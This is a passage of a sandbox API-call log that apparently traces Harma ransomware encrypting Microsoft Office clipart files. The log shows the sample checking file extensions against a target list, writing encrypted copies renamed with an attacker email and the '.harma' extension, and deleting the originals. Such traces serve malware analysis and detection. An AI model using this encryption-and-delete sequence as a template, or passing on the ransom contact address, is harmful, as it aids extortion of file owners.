returned 1 [0066.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0066.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0066.123] lstrlenW (lpString=".doc") returned 4 [0066.123] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.123] lstrlenW (lpString=".docx") returned 5 [0066.123] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.123] lstrlenW (lpString=".pdf") returned 4 [0066.123] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.123] lstrlenW (lpString=".xls") returned 4 [0066.123] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.123] lstrlenW (lpString=".xlsx") returned 5 [0066.123] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.123] lstrlenW (lpString=".ppt") returned 4 [0066.123] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0066.123] lstrlenW (lpString=".zip") returned 4 [0066.123] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.124] lstrlenW (lpString=".rar") returned 4 [0066.124] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.124] lstrlenW (lpString=".bz2") returned 4 [0066.124] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.124] lstrlenW (lpString=".7z") returned 3 [0066.124] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0066.124] lstrlenW (lpString=".dbf") returned 4 [0066.124] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0066.124] lstrlenW (lpString=".1cd") returned 4 [0066.124] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0066.124] lstrlenW (lpString=".jpg") returned 4 [0066.124] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0066.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0066.124] lstrlenW (lpString=".doc") returned 4 [0066.124] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.124] lstrlenW (lpString=".docx") returned 5 [0066.124] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.125] lstrlenW (lpString=".pdf") returned 4 [0066.125] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.125] lstrlenW (lpString=".xls") returned 4 [0066.125] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.125] lstrlenW (lpString=".xlsx") returned 5 [0066.125] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.125] lstrlenW (lpString=".ppt") returned 4 [0066.125] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0066.125] lstrlenW (lpString=".zip") returned 4 [0066.125] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.125] lstrlenW (lpString=".rar") returned 4 [0066.125] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.125] lstrlenW (lpString=".bz2") returned 4 [0066.125] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.125] lstrlenW (lpString=".7z") returned 3 [0066.125] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0066.125] lstrlenW (lpString=".dbf") returned 4 [0066.125] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0066.125] lstrlenW (lpString=".1cd") returned 4 [0066.125] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0066.125] lstrlenW (lpString=".jpg") returned 4 [0066.125] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.125] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0066.125] lstrlenW (lpString="AG00090_.GIF") returned 12 [0066.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0066.126] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=517) returned 1 [0066.126] CloseHandle (hObject=0x1e4) returned 1 [0066.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif")) returned 0x20 [0066.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0066.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0066.126] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.126] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0066.127] GetLastError () returned 0x0 [0066.127] ReadFile (in: hFile=0x1e4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x205, lpOverlapped=0x0) returned 1 [0066.128] WriteFile (in: hFile=0x218, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x210, lpOverlapped=0x0) returned 1 [0066.129] ReadFile (in: hFile=0x1e4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0066.129] WriteFile (in: hFile=0x218, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0066.129] SetEndOfFile (hFile=0x218) returned 1 [0066.129] CloseHandle (hObject=0x218) returned 1 [0066.129] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.129] SetEndOfFile (hFile=0x1e4) returned 1 [0066.130] CloseHandle (hObject=0x1e4) returned 1 [0066.130] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0066.130] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif")) returned 1 [0066.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0066.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0066.130] lstrlenW (lpString=".doc") returned 4 [0066.130] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.130] lstrlenW (lpString=".docx") returned 5 [0066.130] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.130] lstrlenW (lpString=".pdf") returned 4 [0066.130] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.130] lstrlenW (lpString=".xls") returned 4 [0066.130] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.131] lstrlenW (lpString=".xlsx") returned 5 [0066.131] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.131] lstrlenW (lpString=".ppt") returned 4 [0066.131] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0066.131] lstrlenW (lpString=".zip") returned 4 [0066.131] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.131] lstrlenW (lpString=".rar") returned 4 [0066.131] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.131] lstrlenW (lpString=".bz2") returned 4 [0066.131] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.131] lstrlenW (lpString=".7z") returned 3 [0066.131] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0066.131] lstrlenW (lpString=".dbf") returned 4 [0066.131] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0066.131] lstrlenW (lpString=".1cd") returned 4 [0066.131] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0066.131] lstrlenW (lpString=".jpg") returned 4 [0066.131] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0066.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0066.131] lstrlenW (lpString=".doc") returned 4 [0066.131] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.131] lstrlenW (lpString=".docx") returned 5 [0066.131] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.131] lstrlenW (lpString=".pdf") returned 4 [0066.131] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.131] lstrlenW (lpString=".xls") returned 4 [0066.131] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.132] lstrlenW (lpString=".xlsx") returned 5 [0066.132] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.132] lstrlenW (lpString=".ppt") returned 4 [0066.132] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0066.132] lstrlenW (lpString=".zip") returned 4 [0066.132] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.132] lstrlenW (lpString=".rar") returned 4 [0066.132] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.132] lstrlenW (lpString=".bz2") returned 4 [0066.132] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.132] lstrlenW (lpString=".7z") returned 3 [0066.132] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0066.132] lstrlenW (lpString=".dbf") returned 4 [0066.132] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0066.132] lstrlenW (lpString=".1cd") returned 4 [0066.132] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0066.132] lstrlenW (lpString=".jpg") returned 4 [0066.132] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.132] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0066.132] lstrlenW (lpString="AG00092_.GIF") returned 12 [0066.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0066.133] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=502) returned 1 [0066.133] CloseHandle (hObject=0x1e4) returned 1 [0066.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif")) returned 0x20 [0066.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0066.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0066.133] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.133] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0066.133] GetLastError () returned 0x0 [0066.133] ReadFile (in: hFile=0x1e4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x1f6, lpOverlapped=0x0) returned 1 [0066.134] WriteFile (in: hFile=0x218, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x200, lpOverlapped=0x0) returned 1 [0066.135] ReadFile (in: hFile=0x1e4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0066.135] WriteFile (in: hFile=0x218, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0066.135] SetEndOfFile (hFile=0x218) returned 1 [0066.136] CloseHandle (hObject=0x218) returned 1 [0066.136] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.136] SetEndOfFile (hFile=0x1e4) returned 1 [0066.137] CloseHandle (hObject=0x1e4) returned 1 [0066.137] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0066.137] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif")) returned 1 [0066.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0066.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0066.137] lstrlenW (lpString=".doc") returned 4 [0066.137] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.137] lstrlenW (lpString=".docx") returned 5 [0066.137] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.137] lstrlenW (lpString=".pdf") returned 4 [0066.137] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.137] lstrlenW (lpString=".xls") returned 4 [0066.137] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.137] lstrlenW (lpString=".xlsx") returned 5 [0066.137] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.137] lstrlenW (lpString=".ppt") returned 4 [0066.137] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0066.137] lstrlenW (lpString=".zip") returned 4 [0066.138] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.138] lstrlenW (lpString=".rar") returned 4 [0066.138] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.138] lstrlenW (lpString=".bz2") returned 4 [0066.138] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.138] lstrlenW (lpString=".7z") returned 3 [0066.138] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0066.138] lstrlenW (lpString=".dbf") returned 4 [0066.138] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0066.138] lstrlenW (lpString=".1cd") returned 4 [0066.138] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0066.138] lstrlenW (lpString=".jpg") returned 4 [0066.138] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0066.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0066.138] lstrlenW (lpString=".doc") returned 4 [0066.138] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.138] lstrlenW (lpString=".docx") returned 5 [0066.138] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.138] lstrlenW (lpString=".pdf") returned 4 [0066.138] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.138] lstrlenW (lpString=".xls") returned 4 [0066.138] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.138] lstrlenW (lpString=".xlsx") returned 5 [0066.138] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.138] lstrlenW (lpString=".ppt") returned 4 [0066.138] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0066.138] lstrlenW (lpString=".zip") returned 4 [0066.138] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.139] lstrlenW (lpString=".rar") returned 4 [0066.139] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.139] lstrlenW (lpString=".bz2") returned 4 [0066.139] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.139] lstrlenW (lpString=".7z") returned 3 [0066.139] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0066.139] lstrlenW (lpString=".dbf") returned 4 [0066.139] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0066.139] lstrlenW (lpString=".1cd") returned 4 [0066.139] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0066.139] lstrlenW (lpString=".jpg") returned 4 [0066.139] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.139] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0066.139] lstrlenW (lpString="AG00103_.GIF") returned 12 [0066.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0066.140] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=12702) returned 1 [0066.140] CloseHandle (hObject=0x1e4) returned 1 [0066.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif")) returned 0x20 [0066.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0066.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0066.140] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.141] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0066.141] GetLastError () returned 0x0 [0066.141] ReadFile (in: hFile=0x1e4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x319e, lpOverlapped=0x0) returned 1 [0066.145] WriteFile (in: hFile=0x218, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x31a0, lpOverlapped=0x0) returned 1 [0066.146] ReadFile (in: hFile=0x1e4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0066.146] WriteFile (in: hFile=0x218, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0066.147] SetEndOfFile (hFile=0x218) returned 1 [0066.147] CloseHandle (hObject=0x218) returned 1 [0066.147] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.147] SetEndOfFile (hFile=0x1e4) returned 1 [0066.148] CloseHandle (hObject=0x1e4) returned 1 [0066.148] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0066.148] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif")) returned 1 [0066.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0066.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0066.148] lstrlenW (lpString=".doc") returned 4 [0066.148] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.148] lstrlenW (lpString=".docx") returned 5 [0066.148] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.148] lstrlenW (lpString=".pdf") returned 4 [0066.148] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.148] lstrlenW (lpString=".xls") returned 4 [0066.149] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.149] 